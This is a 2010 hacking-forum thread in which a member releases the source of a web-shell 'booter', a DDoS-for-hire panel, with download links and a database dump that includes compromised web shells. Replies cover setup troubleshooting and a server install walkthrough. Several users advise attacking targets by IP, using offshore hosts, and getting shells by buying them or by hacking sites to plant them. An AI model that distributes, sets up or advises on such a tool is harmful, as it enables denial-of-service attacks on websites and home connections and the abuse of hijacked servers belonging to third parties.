Thread: [\[RELEASE\] Shell/Host Booting Source + Application \(Start your own booter for free\)](#)

PRODIGY™ - October 18, 2010, 4:30 pm

I've decided that after a long ride of successful sales, and happiness that I would release some of my custom work, created by some members of my team, and I. I would first of all like to address the thanks, and credits to the following aliases known here on HackForums. ?

YOU MAY NOT MAKE YOUR OWN PREMIUM BOOTER WITH ANY OF THESE FILES WITHOUT ASKING ME FOR PERMISSION FIRST.

* Please note that due to massive leeching, the download now does NOT come with the SQL Structure. Anyone worthy of running a booter can figure this out. If you wish to hire me to develop your booter, then please contact me.

PRODIGY™ -> Custom work, integration, and fixes.

Aadster -> Providing an awesome hub.

Orgy -> The PHP god, it's been proven.

Mikey™ -> Coding the C++ API.

Asus -> Support with my previous issues.

Notice: Please note that not every feature has been finished on this revision. I have a more advanced version, with many bug fixes. However, I will only share the fixes to people I feel appropriate having them.

By using the sources, or downloads provided in post #1 of this topic, you agree that if you plan to resale the product(s) by any means you must not remove any comments nor author notes in the source files. You may not resell with any original graphics or HTML. This means, if you seek making your own booter to sell, then it should not be obvious that you used this as a source. Be unique.

Below are some of the features included with this revision:

FREE Login + Registration System (Integrated)

Shell Rotation System

Administration Panel

Moderated Signup System (Admin must approve)

Every attack is stored in the database as a log.

Unique Shell Adding Page, (GET, POST) shell submission

Verification Script for C++ Source

Basic (Outdated) VC10++ Application with examples of logins/booting

Notice: Within this release, what you do with these files are your own business. Noone except you is responsible for what is used with the source code(s). You realize that by downloading any file on this post, or from this post was created for educational use only.

I will not offer a guide on how to support installation of this. If you are not capable of installing this yourself, then you should not be running a booter. I would appreciate everyone to additionally follow me on this one.

I hope you all have a great day, and enjoy this release. I want to see this further developed, and something you can all use to learn from. ?

Download Link [Source Files](Uppit): Click [here](#)

Download Link [SQL Dump/Import](Uppit): Click [here](#)

Best Regards,
Prodigy.

hyhyhhrf3 - October 18, 2010, 4:31 pm
im glad i paid the what..30\$ >.>

PRODIGY™ - October 18, 2010, 4:32 pm
Well, you're able to do it all yourself now if needed. This doesn't mean I wont further develop it silly.

Asus - October 18, 2010, 4:34 pm
Nice release PRODIGY, althought its still very basic "if(\$host == "fbi.gov") {
die('No, you cannot attack this. ');
}" I would pull that from the database.

This is like my V1.0 on the same level.

PRODIGY™ - October 18, 2010, 4:35 pm
It's not my current revision, either. It's all of our old work. We use an array instead now, hehe.

Tyler777 - October 18, 2010, 4:36 pm
Grats on the Release :P Fuck da industry!

JerZee - October 18, 2010, 4:37 pm
How long has it been up, like a week or two...
Quote:I've decided that after a long ride of successful sales, and happiness that I would release some of my custom work.

And isn't the source free to begin with and you were selling it...

Asus - October 18, 2010, 4:37 pm

(Oct 18, 2010 04:35 PM)`P R O D I G Y™ Wrote: [\[CITE\]](#) It's not my current revision, either. It's all of our old work. We use an array instead now, hehe.

Well worth releasing, seems on the levels of mine/Orgy's old version's. Great overall.

You could of used file_get_contents for faster :D

Kotei - October 18, 2010, 4:37 pm

I can't wait to see many obvious rips of this.

Asus - October 18, 2010, 4:39 pm

Xypher, rip's wont go far :) As soon as 50 people hits online at once on the booter and all of them on "Idle/Online" the booter will start to lag bad and shells miss boots.

`P R O D I G Y™ - October 18, 2010, 4:39 pm

(Oct 18, 2010 04:37 PM)Asus Wrote: [\[CITE\]](#) Well worth releasing, seems on the levels of mine/Orgy's old version's. Great overall.

You could of used file_get_contents for faster :D

Hm, didn't know that honestly. I did provide you with credits, originally. You were a good friend of mine, and a big help. ?

Edit: Very true asus. It needs work, indeed.

Asus - October 18, 2010, 4:41 pm

Thanks :) If you actually spoke to me I could of helped a bit more. I hate my stupid VM.

"curl_setopt" you forgot to make a timeout or else thing is going to heavily use up performance and lag.

I quit this site - October 18, 2010, 5:11 pm

Good release. The forum needs an open source php booter.

`P R O D I G Y™ - October 18, 2010, 5:39 pm

Yeah asus, I also have this fixed. It's quite better these days.

BuyOMC - October 18, 2010, 7:13 pm

this is good

you should partner our site now?

xhtmlphp™ - October 18, 2010, 7:13 pm

Nice release Prodigy, although, no where as good as your new system ;)

Kotei - October 18, 2010, 9:21 pm

Prodigy want to actually send the fixes to me like you said lol? VB.Net, I can fix... This.... Yeaahhh...no.

`P R O D I G Y™ - October 18, 2010, 9:27 pm

Will do gids, and yeah chris msn me. (I forgot)

Crunk - October 18, 2010, 9:51 pm

Dang. Nice release bro. Why C++ Tho?

Edit: It would of been nice to release the web booter? :)

PRODIGY™ - October 18, 2010, 9:58 pm

The web booter is included bro. The C++ is for those who want an EXE booter.

Simba™ - October 19, 2010, 12:27 pm

Thank you for this P R O D I G Y, nice contribution, I really respect this as your booter is one of the best here on HF. I also hope that your sales won't get ruined.

PRODIGY™ - October 19, 2010, 12:28 pm

Meh, can't say it was the best myself though. This definately needs work.

millsrock - October 19, 2010, 2:45 pm

This in no way should be FREE!

Crunk - October 19, 2010, 3:50 pm

Edit: How would I Add myself to the admins? :)

otaybay - October 19, 2010, 5:03 pm

(Oct 19, 2010 03:50 PM)Crunk Wrote: [\[CITE\]](#) Edit: How would I Add myself to the admins? :)

Obvious ripper is obvious >_<

Anyways, nice release, maybe i can learn more stuff off this!

playgrounds - October 19, 2010, 5:50 pm

I just shit my self i wanted php web booter scripts forever , thanks.

Crunk - October 19, 2010, 5:55 pm

(Oct 19, 2010 05:03 PM)otaybay Wrote: [\[CITE\]](#) Obvious ripper is obvious >_<

Anyways, nice release, maybe i can learn more stuff off this!

nono, If I do use this, I will give credits, I stick with my vb.net coding(Shell booter) Not no php web booter shit. I might not even use this cause I love my vb.net booter..

PRODIGY™ - October 22, 2010, 6:18 am

Glad you all enjoy it anywho. :)

FaZe Rebirth - October 22, 2010, 6:33 am

PHP is shit for flooding since it uses 2 interpreters :(

CursedPX - October 22, 2010, 6:50 am

Thanks for that release PRODIGY !

Keep it up~

PRODIGY™ - October 22, 2010, 11:51 pm

No problem, and you're very welcome. :)

Pierre Woodman - October 23, 2010, 2:51 am

hi!

thank you this amazing release,

but, what is the difference in , GET shell, and POST shell?

PRODIGY™ - October 23, 2010, 6:06 pm

GET, you can access the url directly with any request
POST, the variables must be submitted on the page, regardless.

Xbox Live - October 25, 2010, 8:15 pm

Can someone help me set this up?

I have everything setup. Is there a default login? or how do i make a admin account?

lyncsta - October 26, 2010, 1:50 am

ok i set up data base but now i cant add the admin user

is there a defult one

and do you have to set up the tables yourslef? or did i jst do it the hard way

so how can u add the first admin acc

Cha0z_ - October 26, 2010, 3:12 am

Thanks for sharing source :)

I want to learn from these source codes...

PRODIGY™ - October 30, 2010, 1:33 pm

Should be fairly easy to do so.

shanel771 - October 30, 2010, 3:32 pm

i had a url for this booter and my login dosent work anymore

PRODIGY™ - October 30, 2010, 8:59 pm

Feel free to download it and use it for yourself then

CodyPkz™ - October 30, 2010, 9:30 pm

When i add in the url, it says Attack sent, it doesnt lag me tho,
this shell lag's my internet it self, i tryed it,
when i put the Shell on the postshell's section by adding it
under value i put the site,
Field is URL

type

varchar(9001)

function

none just a scorll box

Value is

<http://mysite.com/index.php>

PRODIGY™ - October 31, 2010, 4:33 pm

Don't be silly.. You need shells.. Also, you shouldnt be attacking like "http://" you should use just the dns/IP

CodyPkz™ - October 31, 2010, 4:39 pm

(Oct 31, 2010 04:33 PM) **PRODIGY™** Wrote: [CITE](#) Don't be silly.. You need shells.. Also, you shouldnt be attacking like "http://" you should use just the dns/IP

..

i put like 40 private shells, in the post shell's section, and i pressed send attack, all it does is

add
?ip=1.1.1.1&time=10&port=80 on the top.

`P R O D I G Y™ - November 17, 2010, 7:21 am

Links have been fixed, etc. Enjoy ?

oSo iHostBooter - November 24, 2010, 7:43 am

Anyone Know How To Run This Yet ? , As I Dont Know How To Do The SQL ?

timmarquand - November 24, 2010, 7:49 am

Thank you For your program

oSo iHostBooter - November 24, 2010, 7:53 am

oSo iHostBooter - November 24, 2010, 9:39 am

I Want The SQL Will Anyone Give Though ?

`P R O D I G Y™ - November 26, 2010, 7:35 am

I'll give you it, possibly upload. It's really easy to make yourself, though.

oSo iHostBooter - November 26, 2010, 7:39 am

(Nov 26, 2010 08:35 AM)`P R O D I G Y™ Wrote: [\[CITE\]](#) I'll give you it, possibly upload. It's really easy to make yourself, though.

Thanks Prodigy Would You Be Able To Send Me The Upload Once Uploaded Mate , Thanks

Infected™ - November 26, 2010, 7:41 am

Thankyou so much for this source code it is exactly what i was looking for. You didn't include the mySQL DB structures but with a little reading of the source code and some help from our good old friend google i was able to find the required DB structures and incorporate them into this source code :)

Keep in mind everyone that i don't have much experience with this type of stuff all it takes is a little reading :)

`P R O D I G Y™ - November 26, 2010, 7:45 am

http://uppit.com/nl3nhzpxe7ut/paniicne_booter.sql

There's the sql dump with a few shells. Please consider emptying the shells, unless you check them yourself. You don't want dead shells (404 or offline) in your database as sending a request to multiple offline shells will decrease the power of your booter.

Cheers.

Swish - November 26, 2010, 7:50 am

This is a nice shell booter source. Thanks for releasing.

oSo iHostBooter - November 26, 2010, 8:04 am

Nice Booter Source , Works Great Thanks

`P R O D I G Y™ - November 26, 2010, 8:43 am

You're very welcome. If you wanna know more just pm me

Fallenbot - November 26, 2010, 8:44 am

I like the fact that you provide the source mate. Thanks,great work! Appreciated.

biasa199 - November 26, 2010, 11:43 am

Can anybody help me set this up?!

~ Biasa199

"Couldn't make a connection"

Swish - November 26, 2010, 2:30 pm

I also have problem to set it up as I don't know how to use SQL.

You could pay P R O D I G Y™ a few dollars & he is willing to help you set it up...

Kosher - November 26, 2010, 3:33 pm

dude how do i run it???..

Infected™ - November 26, 2010, 3:40 pm

Ok, I'm having a small mySQL database problem. Could any of you help me?

Here's a screen shot of whats going on =)

[IMG]http://i55.[censored].com/2ryips5.png[/IMG]

`P R O D I G Y™ - November 26, 2010, 7:37 pm

The screen shot isnt appearing for me.

Infected™ - November 26, 2010, 7:41 pm

(Nov 26, 2010 08:37 PM)`P R O D I G Y™ Wrote: [\[CITE\]](#) The screen shot isnt appearing for me.

Ok, Here's the link to the screen shot, tell me if that works.

Code http://i55.[censored].com/2ryips5.png

I'm looking on line 82 but i still can't figure out why it's trying to connect 'paniicne_booter' i changed all the database login information.

`P R O D I G Y™ - November 26, 2010, 9:05 pm

You have to change it in two files. Search for paniicne_ and change it.

Rut - November 26, 2010, 10:08 pm

cant wait to try :)

thanks for the share

this can be useful

worth buying

Oxycodone - November 26, 2010, 10:43 pm

Downloaded, a few things that i notied is you have 2 files that include the database information

(db.php & dbc.php)

dbc.php has it in a array, and db.php just keeps it in strings.

I suggest to include('db.php');

instead of having to re-write / type the db in each part when you can just do

```
include('db.php');  
$dbusername  
$dbpassword  
$servername  
$dbname
```

get me?

Just my thoughts :p

thanks for the release though, im going to edit it a bit so its more user friendly, ill send you a pm with the new source if you want ?
(from the version i looked at)

(I think i was looking at a diffrent version so nvm...)

??h™ - November 26, 2010, 11:22 pm

Everyone is leeking their own booters all the sudden. Carbon leaked his just last week. Nice share btw! :)

venitmors - November 26, 2010, 11:26 pm

Dear `P R O D I G Y™,

thank you for the delivery of this collection. It enables wide space to think about currents status as well as of new ideas.

Swish - November 27, 2010, 12:43 am

Hello guys, I have successfully setup the Host Booter. But now I don't know how to add login account =/

Infected™ - November 27, 2010, 12:49 am

(Nov 26, 2010 10:05 PM)`P R O D I G Y™ Wrote: [\[CITE\]](#) You have to change it in two files. Search for paniicne_ and change it.

Wow I'm such an idiot. I didn't even look in hub.php at all because it was saying the error was in ezsql.php lol. I just went through the files and found it. Thanks :p

oSo iHostBooter - November 27, 2010, 1:08 am

Warning: set_time_limit() has been disabled for security reasons in /home/**/public_html/hub.php on line 26

Anyway To Fix ?

Swish - November 27, 2010, 1:17 am

Yes, Change your webhost provider = The Only Way...

In?sane? - November 27, 2010, 1:50 pm

Could i get the Unique Shell Adding Page? Thanks! :) Nice share btw! I had a hard time setting up an booter, so this helped out a lot!

`P R O D I G Y™ - November 27, 2010, 3:29 pm

Here's the source for addshell.php

<http://pastebin.com/aEXbjBXA>

Just make a new .php page, and paste that code in there.

In?sane? - November 27, 2010, 4:09 pm

Nice Source but to bad i have seen oh so many use it and not give credits to you ?

`P R O D I G Y™ - November 29, 2010, 12:10 pm

Not a big issue. They'll be caught ?

Asus - November 29, 2010, 12:13 pm

PRODIGY, great stuff :D It's awesome, atomic booter is using this? Did they get permissions?

`P R O D I G Y™ - November 29, 2010, 1:06 pm

He paid me for rights of using it as is. They're using my code, yeah. GUI, (Not sure).

.Sugar - November 29, 2010, 1:22 pm

Thanks heaps man. And an extra thank you for releasing this free. Awesome!

PRODIGY™ - November 29, 2010, 1:28 pm

Yep, you're welcome. Let me know if you enjoy it.

PRODIGY™ - November 29, 2010, 8:03 pm

Replacing the OP with a newer copy.

xhtmlphp™ - November 29, 2010, 9:12 pm

Great source Prodigy, you still will never be as boss as me.

PRODIGY™ - November 30, 2010, 1:51 am

I'd lol, if that wasn't true. 4,000 views!

Wish™ - November 30, 2010, 12:09 pm

(Nov 29, 2010 10:12 PM)xhtmlphp™ Wrote: [\[CITE\]](#) Great source Prodigy, you still will never be as boss as me.

I think you mean i still will never be as boss as you.

Your welcome for the correction.

PRODIGY™ - November 30, 2010, 1:56 pm

You're indeed confusing. I have coded a better db file now, if anyone needs it.

Violence - December 1, 2010, 10:41 pm

Downloading right now. Thanks.

Swish - December 1, 2010, 11:05 pm

I got 2 errors in the UDP part of the booter. The first one is that set_time_limit is disabled but that do not make sense.

The other problem is syntax error? I have no idea. Down here is a picture:

<http://data.fusksbugg.se/dipdip/booter.JPG>

Is this Syntax error making my booter not working or does it still works to use the booter with that error?

Discusting - December 1, 2010, 11:20 pm

Epic Fucking post who knew it was this fucking easy

PRODIGY™ - December 2, 2010, 1:14 am

It doesn't come with an error..

Swish - December 2, 2010, 7:21 am

Alright, Thanks Prodigy! Then it's the host who is making the errors :P

PRODIGY™ - December 2, 2010, 1:30 pm

Yes, usually the PHP configuration.

Boo. - December 2, 2010, 1:49 pm

Can someone help me set this up. :) PM me if you can over teamviewer? Or with another thread with tutorial

Swish - December 2, 2010, 2:11 pm

(Dec 2, 2010 02:49 PM)MLGBatFastard Wrote: [\[CITE\]](#) Can someone help me set this up. :) PM me if you can over teamviewer? Or with another thread with tutorial
It's very simple, just read through this thread & you will find all the answers :P

Boo. - December 2, 2010, 2:20 pm

k. lulz i got -3 rep. is that from that post? ^^

PRODIGY™ - December 2, 2010, 2:35 pm

Well, it wasn't from me so I don't know.

Swish - December 2, 2010, 2:35 pm

(Dec 2, 2010 03:20 PM)MLGBatFastard Wrote: [\[CITE\]](#) k. lulz i got -3 rep. is that from that post? ^^
Nope, You got - rep because of this:

Quote:WikiLeaks is not "gay". If you see it as a gay, maybe you are seeing a mirror ! (Do not PM me about rep)
:P

PRODIGY™ - December 2, 2010, 2:36 pm

The reputation is totally irrelevant to this topic, so..

oSo iHostBooter - December 2, 2010, 5:22 pm

Thanks P R O D I G Y again for this release , just working on getting some shells now and website will be booting like mad :) - xPLTGaming.com

PRODIGY™ - December 2, 2010, 11:24 pm

Good luck with getting some shells then

MrKroit - December 2, 2010, 11:48 pm

where the Addshell.php file

PRODIGY™ - December 2, 2010, 11:54 pm

I released it a page or two ago

MrKroit - December 3, 2010, 12:04 am

thank you :D

i have make it one wow

PRODIGY™ - December 3, 2010, 12:05 am

You have done a very good job then. :-)!

Swish - December 3, 2010, 6:23 am

Prodigy, Is this version almost the same quality as Phenom Booter Lite Source?

PRODIGY™ - December 3, 2010, 11:02 am

Not sure. Phenom has a good coder, so I'm sure this isn't as good.

Swish - December 3, 2010, 11:04 am

Yes. The Good Coder IS Asus OFCOURSE :D

PRODIGY™ - December 3, 2010, 11:46 am

Yes, Asus is indeed a good coder. Hands down.

Real - December 3, 2010, 11:47 am

Good release, sucks for the people who paid ?

Swish - December 3, 2010, 2:00 pm

No, It's good that people paid him cause thats maybe the reason he released this source.

PRODIGY™ - December 3, 2010, 5:16 pm

It's not hard to start your own booter. So why not release it?

Swish - December 4, 2010, 12:39 am

No idea, Asus raised his Shell Booter Lite Source to 50\$ instead of 20\$ just because there was to many Shell Booters in the market atm. But he was positive that you released it so.

Alright, I got a problem with the Shell Booter Source and that is when I'm going add shells from the admin control panel I can just add "get shells" & not "post shells". The "post shells" doesn't shows up when I have added them but the "get shells" does.

Do you have any idea how I can fix this?

btw, Great Source!

PRODIGY™ - December 4, 2010, 1:16 am

This was an anti-leech. Look at the second insert variable closely.

Swish - December 4, 2010, 1:33 am

Cheer! I found the anti-leech :D

Still I got problem with shell counting, maybe there is also an anti-leech there or it's just me who can't get it to work :P

Thank you Prodigy for helping me with the anti-leech! <3+++

davyg1978 - December 4, 2010, 3:23 pm

nope i cant get it to work either lol

Swish - December 4, 2010, 3:44 pm

Prodigy, There must be a problem with myaccount.php file cause there is a lot of people that don't get it to work...

PRODIGY™ - December 4, 2010, 4:37 pm

Figure it out bro. Im not going to baby you.

Swish - December 5, 2010, 2:18 am

Yeah, I know. You have helped to much already:D Thank you!

sawic13 - December 5, 2010, 12:34 pm

where's the fkin password for admin stored XD?

haha

Swish - December 5, 2010, 1:33 pm

Quote:Download Link [SQL Dump/Import](Uppit): Click here

Download that in Prodigy's post & then upload it to SQL & you will be able to add yourself as a admin.

PRODIGY™ - December 5, 2010, 4:47 pm

I'll be updating some stuff with it soon.

sawic13 - December 6, 2010, 11:30 am

when i go to UDP Flood section I've got this error

PHP Code

```
<?php
```

Parse error: syntax error, unexpected T_CONST, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /homez.379/HereGoesDomain/www/EpiCurl.php on line 5

5 line is const timeout = 3;

and in logs I have error

PHP Code

```
<?php
```

string(53) "libcurl/7.15.5 OpenSSL/0.9.8c zlib/1.2.3 libidn/0.6.5"

what's wrong?

PRODIGY™ - December 6, 2010, 12:08 pm

Doesn't come this way... You messed with something and don't know what you're doing.

sawic13 - December 6, 2010, 12:18 pm

I haven't changed almost anything besides database setup

Swish - December 6, 2010, 2:08 pm

I had that problem too, You have forgot to change all SQL settings in a .php file.

Read through the whole EpiCurl.php & see if you forgot to add some SQL settings.

I hope you get it to work, if not PM me & I can help you.

Corrupt. - December 6, 2010, 2:17 pm

my one just says Table 'bitfreak_shellbooter.users' doesn't exist

Any help?

PRODIGY™ - December 6, 2010, 2:57 pm

The error is pretty self explanatory, don't you think?

Corrupt. - December 6, 2010, 2:59 pm

Yea ? but am a SQL noob and don't know what to do ?

riptyde4 - December 6, 2010, 3:58 pm

I've got mine set up for personal use....but the addshells.php seems to be missing? I'm a little new to this...a little help would be very much appreciated :P

Nevermind, someone posted a tut with it so i grabbed it....but its deleted now.

PRODIGY™ - December 6, 2010, 6:12 pm

I released it 2-3 pages ago.

sawic13 - December 7, 2010, 1:15 pm

PHP Code

```
<?php
```

Parse error: syntax error, unexpected T_CONST, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /homez.379/HereGoesDomain/www/EpiCurl.php on line 5

stil have this error, I tried to download all once again, set up on another host and still doesnt work,

PRODIGY™ - December 7, 2010, 1:51 pm

You don't understand. It doesnt COME WITH AN ERROR. YOU MESSED WITH IT OR YOUR SERVER SUCKS.

MrKroit - December 8, 2010, 10:54 am

need some one setup for me Urgent

PRODIGY™ - December 8, 2010, 11:05 am

I have a service which charges \$15 for setup.

MrKroit - December 8, 2010, 12:19 pm

15\$ its quit expensive

have anyone more cheap

Swish - December 8, 2010, 2:33 pm

I can do it for 5\$ except getting the shell counter to work...

PRODIGY™ - December 8, 2010, 5:53 pm

It's commented.. remove the /* */

skatetopia - December 9, 2010, 1:05 pm

This could be ran off localhost for personal use only right?

PRODIGY™ - December 9, 2010, 1:06 pm

If you wish your computer to send a massive cURL request. Yep.

Definition - December 9, 2010, 7:41 pm

This looks really great prodigy! Credz to you! I got through it all ok except stuck on one tiny error. I am no coder so trying to figure it out still. The error I get after clicking the 'attack' button is as follows....

Fatal error: Call to undefined function curl_multi_init() in C:\wamp\www\booter\EpiCurl.php on line 22

Anyone know what to do? It pertains to this line in the epicurl.php: \$this->mc = curl_multi_init();

Thanks for any help anyone may be able to provide me with! And again GREAT WORK!

Update I figured it out I had to uncomment the extension curl.dll in my php.ini to make it work.

Thanks again!

Swole - December 9, 2010, 8:31 pm

hey im getting errors on it... can anyone help me please?

Warning: mysql_connect() [function.mysql-connect]: Access denied for user 'paniicne_booter'@'192.168.125.4' (using password: YES) in /usr/export/www/vhosts/funnetwork/hosting/skylineg/dbc.php on line 31

Couldn't make connection.

Obviously your error clearly states that access is denied for the mysql database your trying to connect to. If you want a hint, then read this.

"AN ERROR HAS AROSE FROM MYSELF TRYING TO LEECH FILES"

A.K.A

"Your trying to connect to his shit, you have to make your own host to connect the files."

In simpler terms if needed: You need to rewrite the file path, as long with editing the host ip and mysql user.

PRODIGY™ - December 10, 2010, 1:44 am

InSaNiTy@hackers.com - December 16, 2010, 2:01 pm

Download notepad C++ and search through all files in the folder you downloaded and change your database, database user and database password to your current information. If you cant do this then i dont know learn some php?

Anyways this script works its tested on my server but fails bad and works to an extent.

Look for a php script that loads all information in text fields and then hits.... This script places info in the text fields and loads 1 by 1 which makes it very useless after 20+ shells.

If your using public shells then this script will virtually do nothing at all, so learn some php scrubs and exploit ur own shells. or code ur own php data shell script.

`P R O D I G Y™ - December 16, 2010, 2:08 pm

The script doesn't fail, your shells do.. Many booters being sold here use this source, go somewhere with your false accusations little boy.

InSaNiTy@hackers.com - December 16, 2010, 2:31 pm

(Dec 16, 2010 03:08 PM)`P R O D I G Y™ Wrote: [\[CITE\]](#) The script doesn't fail, your shells do.. Many booters being sold here use this source, go somewhere with your false accusations little boy.

Back at you prod, your right this script does not fail as bad as I may have promoted it to be.

I have plenty of private shells, any "one" of these shells can take out a medium website or a public internet connection alone easily. With that being said, do you think the people who may be downloading this shell will have this type of resources.... No. If there downloading source to make there own php shell data base then no they will not have these kind of resources.

You have what 3+ statements that include the database name, user and pass in 3 separate files? l2code.

Having a script that loads all shells first then initiates the "start" button all at once is far more effective then going down a list of 300+ shells 1 by 1.

By the way you did mention this is not the full revised script you use for paying customers and I understand that, why would you give away trade secrets that could put u out of business or share your hard earned work with leechers. Also this is a public download witch incorporates your hard earned work "custom" work to anyone who feels free to download it and use it.

I dont know what methods you may use on your live data shell script but the one you have supplied to the public for download is a great piece and first of its kind to hackforums but i'm only stating the flaws.

Also i'm drunk as shit so i could be rambling on about nothing but its great you have shared this but could be much more effective.

PRODIGY™ - December 16, 2010, 4:01 pm

It's PHP. Using cURL requests 1 by 1 in a loop is the best it's gonna get. Simply.

plez help me

saudakur - December 18, 2010, 2:18 pm

Just saw around 10 new booters on Premium and Secondary sellers section based on this source. LOL

`P R O D I G Y™ - December 18, 2010, 3:40 pm

Yep, it's quite sad isn't it.

Swish - December 18, 2010, 3:57 pm

It's very nice. More Booters = Cheaper Booter Price :P

oSo hacker - December 18, 2010, 7:59 pm

I have gone throe all 20 pages like 90 times and can not find it :(

Swole - December 18, 2010, 10:13 pm

Lol Prodigy's right, most of these booters use his source including mine :P but its a well working

source.

I vouch for prodigy!

sawic13 - December 20, 2010, 12:32 pm

can I run this on localhost (non public IP)? would be run well?

nacker - December 20, 2010, 3:05 pm

WOW, simply WOW ?

I bought hub system from aadster but i was lazy to create gui for it and i was useing it by entering info directly in URL. Now if i want to use it full i will have to tahnks to you PRODIGY. This was revolutionary move by you, first web based booter source as opensource. I saw dosen of new booter on marketplace based on this and like RougeXD said "It's very nice. More Booters = Cheaper Booter Price :P" BUT i will have to add lower quality, cause people are greedy and want some money fast...

PRODIGY™ - December 20, 2010, 4:04 pm

You can always make one that stands out

nacker - December 21, 2010, 2:13 am

Nah, i just use it for myself, priv8 an 1 user only xD. I don't really need money now, but when i need it its cause i want to buy some stuff from hf users or etc (if i can not trade my way for something). But the point is that there is a lot of booters on market starting from low as 5\$ up to 50\$ and mostly the price set booters quality and support.

PRODIGY™ - December 21, 2010, 2:28 am

Yep, well good luck with the source.

oSo hacker - December 21, 2010, 3:07 am

Swish - December 23, 2010, 1:55 am

Hey Prodigy.

This time when I should setup the Booter source I got problem with the addshell.php.

Last time I got it working without any problem so I don't know why this problem comes up.

Here is a screenshot: <http://data.fuskgg.se/dipdip/booterproblem.JPG>

When I click on addshell it come up and error saying "require('myaccount.php'); ?>"

I believe it's because the SQL information in myaccount.php is wrong but it's the same as I used last time and the whole script is using right now so it can't be wrong.

If you got an idea how to fix it, please reply.

Thanks

sawic13 - December 23, 2010, 8:46 am

how to get shell / where to buy shell now to get this source works fine xD?

SlaYoRz - December 23, 2010, 11:31 am

I have some shells I can use but I am not sure how to set up the booter.

sawic13 - December 23, 2010, 12:22 pm

(Dec 23, 2010 12:31 PM) SlaYoRz Wrote: [\[CITE\]](#) I have some shells I can use but I am not sure how to set up the booter. btw how you get them ? just curious :P

`P R O D I G Y™ - December 23, 2010, 2:34 pm

Ten thousand views, awesome.

nacker - December 23, 2010, 2:41 pm

(Dec 23, 2010 01:22 PM) sawic13 Wrote: [\[CITE\]](#) btw how you get them ? just curious :P

Buy some from people selling them on marketplace or if you are low on money you can always hack some sites and upload yours for free...

`P R O D I G Y™ - December 23, 2010, 2:44 pm

Buy them, or exploit them yourself.

SlaYoRz - December 23, 2010, 5:20 pm

Or you can get Ub3r and get free ones from the giveaway section :P.

`P R O D I G Y™ - December 23, 2010, 7:32 pm

Nothing worse than public shells.

sawic13 - December 24, 2010, 4:21 am

best hosting for shell booter?

`P R O D I G Y™ - December 24, 2010, 5:11 pm

(Dec 24, 2010 05:21 AM) sawic13 Wrote: [\[CITE\]](#) best hosting for shell booter?

Any offshore paid host. A linux vps, cPanel, etc.

meresy - December 25, 2010, 4:28 pm

lol source is incomplete fail missing some files

PRODIGY™ - December 26, 2010, 2:34 am

(Dec 25, 2010 05:28 PM)meresy Wrote: [\[CITE\]](#) lol source is incomplete fail missing some files
Nope, they're on page four you blind kid.

Maxie - December 27, 2010, 8:01 am

Grr, I can't setup this, but probably because of the host + my php skills.

nacker - December 27, 2010, 10:25 am

(Dec 27, 2010 09:01 AM)Maxie Wrote: [\[CITE\]](#) Grr, I can't setup this, but probably because of the host + my php skills.

Its rather your Mysql skills instead of php :D but you can read php errors and figure out what's the problem.

@Prodigy

LOL man, i just installed this booter and i saw a bunch of shells that i sold to some guys here on hf, i personally hacked host and upload them. Wondering how did they ended up at you ? probably "someone" sold them to you after discontinued his booter support and if you are wondering its more than 10 get shells ?. Btw what is the default admin username:password? I saw 3 users, and what is that encryption algorithm for password (~70 char)?

sawic13 - December 27, 2010, 3:05 pm

Btw what is the default admin username:password? I saw 3 users, and what is that encryption algorithm for password (~70 char)?

there is no default admin done. You have to register (username : admin) on site and approve that on phpMyAdmin by addin 1 to approve box and 5 to user level.

nacker - December 27, 2010, 4:07 pm

Never mind, i work around it. Created new user and used his hashed pass to login. But still, what type of password hash is that (50 char hash)? Variation of sha1?

PRODIGY™ - December 27, 2010, 7:07 pm

Good job, just pm me if you have issues with it. The hash is md5.

Swish - December 28, 2010, 1:26 am

I don't get it to work when adding post shells just get shells.

I know there is an antileech but is that antileech in addshell.php or hub.php?

Thanks

PRODIGY™ - December 28, 2010, 11:54 am

Rogue, that was an issue in the html. Fix the name of the form.

Swish - December 28, 2010, 3:55 pm

Sorry, I am stupid but I can't find it. =(

PRODIGY™ - December 28, 2010, 4:31 pm

It's the <form name=""> that I'm referring to.

Swish - December 28, 2010, 5:12 pm

Yes, I found it! But! , What am I supposed to write as the name?

PRODIGY™ - December 29, 2010, 1:32 am

url2 is the one it should be.

sawic13 - December 29, 2010, 7:20 am

Dont know how to set up this host booter?

Spoiler ([Click to View](#))

Required Tools:

Free VPS : tutorial here <https://hackforums.net/showthread.php?tid=672098>

VNC Viewer (connect to your VPS) download via official site

<http://www.realvnc.com/products/free/4.1/download.html>

PRODIGY source

Change in the source in dbc.php , ezSQL.php , hub.php, myaccount.php, the MYSQL conect setting , DataBaseName, Host, User and password

Install the VNC Viewer and run

Open terminal in Fedora (default linux version on free VPS is Fedora Linux)

REMEMBER ALL CHANGES MUST BE DONE BY ROOT , TO ACCESS A ROOT IN LINUX YOU HAVE TO PUT A COMMEND IN YOUR TERMINAL : SU

Copy files

terminal :

cp /home/username/Downloads/PRODIGY_source/* /var/www/html

Settings for Linux

1. Install Apache (httpd), PHP, MySQL (server and client), and the component that allows php to talk to mysql.

```
yum -y install httpd php mysql mysql-server php-mysql
```

2. Configure the new services to start automatically

```
/sbin/chkconfig httpd on
```

```
/sbin/chkconfig --add mysqld
```

```
/sbin/chkconfig mysqld on
```

```
/sbin/service httpd start
```

```
/sbin/service mysqld start
```

3. IMPORTANT! Set up the mysql database root password. Without a password, ANY user on the box can login to mysql as database root. The mysql root account is a separate password from the machine root account.

mysqladmin -u root password 'new-password' [quotes are required]

4. Create a database.

```
mysql -u root -p
```

(here you have to put the password that you have changed before)

```
mysql> CREATE DATABASE database_name;
```

How To Install PHPMyAdmin

1.To install PHPMyAdmin using yum, simply issue

```
# yum -y install phpMyAdmin.noarch
```

2. PHPMyAdmin Security Access

(terminal) # vi /etc/httpd/conf.d/phpMyAdmin.conf

```
order deny,allow
```

```
deny from all
```

```
allow from 127.0.0.1
```

```
allow from 82.105.130.20 // edit here remote Ip to connect to phpMyAdmin
```

3.PHPMyAdmin User Access Authentication

```
# vi /etc/phpMyAdmin/config.inc.php
```

```
$cfg['Servers'][$i]['user'] = 'USERNAME'; // MySQL user
```

```
$cfg['Servers'][$i]['password'] = 'PASSWORD'; // MySQL password (only needed
```

```
$cfg['Servers'][$i]['host'] = 'localhost'; // MySQL hostname or IP address
```

4. Restarting a httpd service to take affect all changes

```
# service httpd reload
```

5.Starting phpMyAdmin

For localhost

<http://localhost/phpMyAdmin/>

Remote access

